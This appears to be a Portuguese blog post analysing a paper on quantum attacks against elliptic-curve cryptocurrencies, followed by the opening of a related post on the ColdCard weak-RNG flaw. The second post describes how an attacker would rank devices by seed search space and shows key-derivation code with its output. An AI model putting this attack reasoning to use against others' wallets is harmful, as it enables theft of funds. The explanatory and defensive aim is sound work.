O documento se chama Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar RSA), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da criptografia de curva elíptica). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.

Antes de qualquer coisa: leia o paper direto. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.

O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?

Adianto o espírito da coisa: o céu não está caindo. Mas o recado de “comece a se mexer agora” tem fundamento, e a razão é mais sutil do que “o quântico vem aí”.

O resumo, pra quem tem pressa:

• O paper é sério e a conta fecha. Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.
• Isso mede o tamanho da máquina; a data continua em aberto. O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.
• O Bitcoin não vai acabar. O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.
• O que dá pra fazer. Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.

Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.

O que o paper realmente diz, em português de engenheiro

Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.

O algoritmo de Shor, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma “inviável” em “questão de minutos”. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.

Primeiro: o custo despencou. O time do Google apresenta circuitos novos pra resolver o problema da curva secp256k1 (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.

Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em menos de 500 mil qubits físicos — quase 20 vezes menos que estimativas anteriores — e rodaria em 9 a 12 minutos a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.

Segundo: eles não publicaram o circuito. Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma prova de conhecimento zero: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.

Se “prova de conhecimento zero” soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.

É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.

Terceiro: nem todo computador quântico serve pra tudo. O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o “relógio rápido” (supercondutor, fotônico) e o “relógio lento” (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:

• Ataque no gasto (on-spend): o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.
• Ataque em repouso (at-rest): a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.
• Ataque na configuração (on-setup): uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.

Quarto: o mapa de quem sangra. No Bitcoin, os alvos em repouso são os scripts antigos P2PK (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o Taproot (P2TR, que expõe a chave), e qualquer endereço reusado.

Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.

E tem uma boa notícia enterrada aqui: a mineração do Bitcoin não corre risco. O algoritmo de Grover, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.

A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.

Quinto: o Ethereum tem uma superfície bem maior. O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as assinaturas BLS que seguram o consenso Proof-of-Stake, e os compromissos KZG da camada de dados. É mais coisa exposta, e boa parte não dá pra “trocar de endereço” pra escapar.

E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao BigQuery), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.

O paper, aliás, não dá uma data. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.

Onde eu concordo e onde discordo dos outros modelos

Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.

No que todo mundo concorda (e eu também):

• A estimativa de recurso lógico é crível. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.
• A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.
• A imunidade da mineração é correta e precisava ser dita em voz alta.
• Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.

No que todo mundo faz ressalva (e eu reforço):

O ChatGPT foi o mais preciso numa distinção que vale ouro: existe um abismo entre “valor em risco” e “perda esperada”. Quando o paper diz “20,5 milhões de ETH em contas vulneráveis” ou “6,9 milhões de BTC expostos”, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de “trilhões em risco” é desonesto com o próprio paper.

“Valor em risco” mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

O mesmo vale pro famoso 41% de chance de roubo no Bitcoin. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.

Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.

O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala. É um projeto de máquina que poderia fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.

Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.

E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: o mecanismo da prova de conhecimento zero tinha um bug. A Trail of Bits conseguiu forjar uma prova explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.

Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.

A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.

E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher refez os circuitos de forma aberta, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.

O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.

Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: conflito de interesse. Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.

Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.

A pergunta que interessa: qual a chance real, e quando?

Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.

No teórico, a resposta é sim, com folga. Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: quando essa máquina existe?

Qubit físico contra qubit lógico

Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.

A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando um único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit “de verdade”, estável, que o algoritmo enxerga.

E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede 1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.

É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.

Onde o hardware está hoje

Na realidade de hoje, estamos longe. O próprio Google ajuda a medir a distância. O Willow, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi um único qubit lógico bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.

Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a Quantinuum chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.

Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.

Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.

Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O Majorana 2, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.

Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso num artigo à parte.

Os roteiros e os prazos

No futuro próximo, aí mora a discussão de verdade. O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o Quantum Threat Timeline do Global Risk Institute, uma pesquisa anual com especialistas da área.

A edição de 2025 dá algo como 34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.

Do lado de quem fabrica, o roteiro mais explícito é o da IBM. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.

Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.

Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos qLDPC pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.

E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O Zuchongzhi 3.2, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.

Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.

Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.

Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.

Minha leitura, em números

Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:

• Nos próximos 2 a 3 anos (até ~2029): perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.
• No horizonte 2030–2032: baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir em princípio. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.
• Lá por 2035: aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que “existe um CRQC” não é o mesmo que “roubaram seu dinheiro”. Até lá, a migração já deveria estar bem andada.

O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é a data da máquina menos o tempo que a sua migração leva. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que “comece agora” faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.

Por que isso não é “acabou, tá tudo perdido”

Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.

Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: a sua chave pública já apareceu em algum lugar?

Nos endereços modernos do Bitcoin (os bc1q, que escondem a chave atrás de um hash), enquanto você nunca gastou daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.

A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.

Vale o cuidado com a palavra: “resistente ao quântico” é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.

Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.

Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.

A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.

O que você pode fazer hoje

Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.

“Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?” Não. E entender o porquê ensina o problema inteiro.

Uma passphrase forte protege a sua seed — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.

E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no RNG fraco da Coinkite, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.

O computador quântico não adivinha sua seed. Ele pega a sua chave pública, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.

O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.

O que de fato move o ponteiro é higiene de exposição de chave:

• Não reuse endereços. Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.
• Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash (bc1q, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (bc1p) e em endereços P2PK antigos, que expõem a chave direto.
• Não espalhe sua chave pública estendida (xpub). Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.
• Quando surgirem carteiras pós-quânticas de verdade, migre. Esse é o passo definitivo, e ele vai chegar via atualização de software.

E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.

O que a indústria pode fazer, sem radicalismo

Do lado de quem constrói os protocolos, a tentação é o extremo: “larga tudo e vai pra assinatura pós-quântica amanhã”. Isso é tão ruim quanto o “ignora que é FUD”. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.

Medidas intermediárias, mais fáceis que a troca completa:

• Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.
• Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.
• Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.
• No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.

A ponte de médio prazo: assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.

O terreno já está mais maduro do que parece. O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.

E o pedaço que ninguém resolveu: os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.

O paper discute opções — não fazer nada, queimar as moedas por soft fork, um “sidechain de recuperação”, ou até salvamento regulado por governo, na analogia de tesouro afundado.

Aqui eu sou franco: essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica. Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.

São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.

A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.

Onde a gente está, afinal

Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:

O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.

Mas nada nisso é “vende tudo, o Bitcoin acabou”. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.

A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.

O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. Leia direto na fonte e tire a sua. Só não caia nem no “acabou” nem no “é tudo mentira”. A resposta interessante, como quase sempre, mora no meio.

O código didático deste artigo foi gerado com Kimi K3. É curioso notar que, ao mesmo prompt, tanto o Claude quanto o GPT se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.

O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: “se a ColdCard fica offline, como os bitcoins sumiram?”.

Aviso: o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.

O resumo do post anterior

Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro MICROPY_HW_ENABLE_RNG foi definida como 0, mas a guarda no libNgU usava #ifndef, que só pergunta se o símbolo existe. O build passou, a chamada rng_get() caiu no fallback de software Yasmarang do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.

Para quem não lida com hardware, vale traduzir essas siglas:

• UID (Unique Identifier) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como 0x4A3F B201 C847 D5E9 1234 5678. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.
• RTC (Real-Time Clock) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. A ColdCard não tem essa bateria. Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores RTC->TR e RTC->SSR leiam zero ou um valor estático toda vez que o aparelho liga “frio”. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o “tempo” não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.
• SysTick é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até 0x00FFFFFF e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como 0x003D7A12. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A Block estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).

A análise da Block e o backgrounder técnico da Coinkite concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.

O ponto central é: a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos. Quarenta bits não são seguros. São enumeráveis com hardware barato.

A carteira não fica “dentro” da ColdCard

Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.

No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva secp256k1. Quem conhece o número pode assinar. Quem não conhece, não consegue.

Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.

Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o mempool.space. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles “segura” seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.

Como o atacante prioriza os modelos

Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:

Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a Block mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.

Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.

O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.

128 bits, 40 bits e 72 bits: qual é a diferença?

Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.

Imagine que você consegue testar 1 bilhão de candidatos por segundo:

Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.

Por isso 40 bits não são “um pouco menos seguros” que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.

De um número inteiro para uma wallet

Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Saída:

entropia (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

